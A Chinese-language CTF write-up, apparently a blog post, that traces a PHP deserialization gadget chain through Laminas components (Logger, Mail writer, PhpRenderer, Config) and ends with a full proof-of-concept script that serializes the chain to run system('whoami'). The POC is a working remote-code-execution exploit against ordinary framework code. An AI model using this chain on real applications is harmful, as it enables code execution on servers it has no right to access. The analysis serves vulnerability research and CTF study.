Laminas反序列化链分析

前言

看了一下红明谷杯的题,第一道web就是一个phar反序列化,其中用到了Laminas组件,挖一下利用链

正文

全局搜索__destruct

image-20220322221612052

一个个看一下,最后将目光锁定在了vendor\laminas\laminas-log\src\Logger.php中的__destruct方法

public function __destruct()
    {
        foreach ($this->writers as $writer) {
            try {
                $writer->shutdown();
            } catch (\Exception $e) {
            }
        }
    }

遍历$this->writers,调用其中每个元素的shutdown方法,全局搜索shutdown方法,找到了vendor\laminas\laminas-log\src\Writer\Mail.php

public function shutdown()
    {
        // If there are events to mail, use them as message body.  Otherwise,
        // there is no mail to be sent.
        if (empty($this->eventsToMail)) {
            return;
        }

        if ($this->subjectPrependText !== null) {
            // Tack on the summary of entries per-priority to the subject
            // line and set it on the Laminas\Mail object.
            $numEntries = $this->getFormattedNumEntriesPerPriority();
            $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
        }

        // Always provide events to mail as plaintext.
        $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

        // Finally, send the mail.  If an exception occurs, convert it into a
        // warning-level message so we can avoid an exception thrown without a
        // stack frame.
        try {
            $this->transport->send($this->mail);
        } catch (TransportException\ExceptionInterface $e) {
            trigger_error(
                "unable to send log entries via email; " .
                "message = {$e->getMessage()}; " .
                "code = {$e->getCode()}; " .
                "exception class = " . get_class($e),
                E_USER_WARNING
            );
        }
    }

先判断$this->eventsToMail是否为空,为空直接return,然后再判断$this->subjectPrependText是否为空。直接看到重点

$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

调用mail属性的setBody方法,参数为eventsToMail转换为字符串的值,也就是说参数是可控的。如果$this->mail中没有setBody方法就会调用到__call方法,全局搜索__call

image-20220322222832579

数量比较多,还是一个个看一下,找到了vendor\laminas\laminas-view\src\Renderer\PhpRenderer.php

public function __call($method, $argv)
    {
        $plugin = $this->plugin($method);

        if (is_callable($plugin)) {
            return call_user_func_array($plugin, $argv);
        }

        return $plugin;
    }

看到call_user_func_array($plugin, $argv),这之中$argv是我们可控的,那么只要$plugin也可控就可以实现RCE了。追踪一下$plugin的来源

$plugin = $this->plugin($method);

追踪一下plugin方法

public function plugin($name, array $options = null)
    {
        return $this->getHelperPluginManager()->get($name, $options);
    }

追踪getHelperPluginManager方法

public function getHelperPluginManager()
    {
        if (null === $this->__helpers) {
            $this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
        }
        return $this->__helpers;
    }

返回的是$this->_helpers,然后调用其get方法,那么只要我们能够控制get方法的返回值,就可以使$plugin可控,进而RCE。全局搜索get,找到了Config

public function get($name, $default = null)
    {
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        }

        return $default;
    }

这里的$name就是之前传入的方法名,也就是setBody,那么我们可以设置$this->data['setBody'=>'system']就可以使$pluginsystem,实现RCE

编写一下POC

<?php
namespace Laminas\Config{
    class Config{
        protected $data;

        public function __construct(){
            $this->data=['setBody'=>'system'];
        }
    }
}

namespace Laminas\View\Renderer{
    use Laminas\Config\Config;

    class PhpRenderer{
        private $__helpers;

        public function __construct(){
            $this->__helpers=new Config();
        }
    }
}

namespace Laminas\Log\Writer{
    use Laminas\View\Renderer\PhpRenderer;

    class Mail{
        protected $eventsToMail;
        protected $mail;

        public function __construct(){
            $this->eventsToMail=['whoami'];
            $this->mail=new PhpRenderer();
        }
    }
}

namespace Laminas\Log{
    use Laminas\Log\Writer\Mail;

    class Logger{
        protected $writers;

        public function __construct(){
            $this->writers=[new Mail()];
        }
    }
}

namespace {
    use Laminas\Log\Logger;

    $a=new Logger();
    echo urlencode(serialize($a));
}

然后在红明谷给的源码中添加了一个反序列化点,测试一下

image-20220323101658676

本文链接:

http://novic4.cn/index.php/archives/16.html
1 + 7 =
快来做第一个评论的人吧~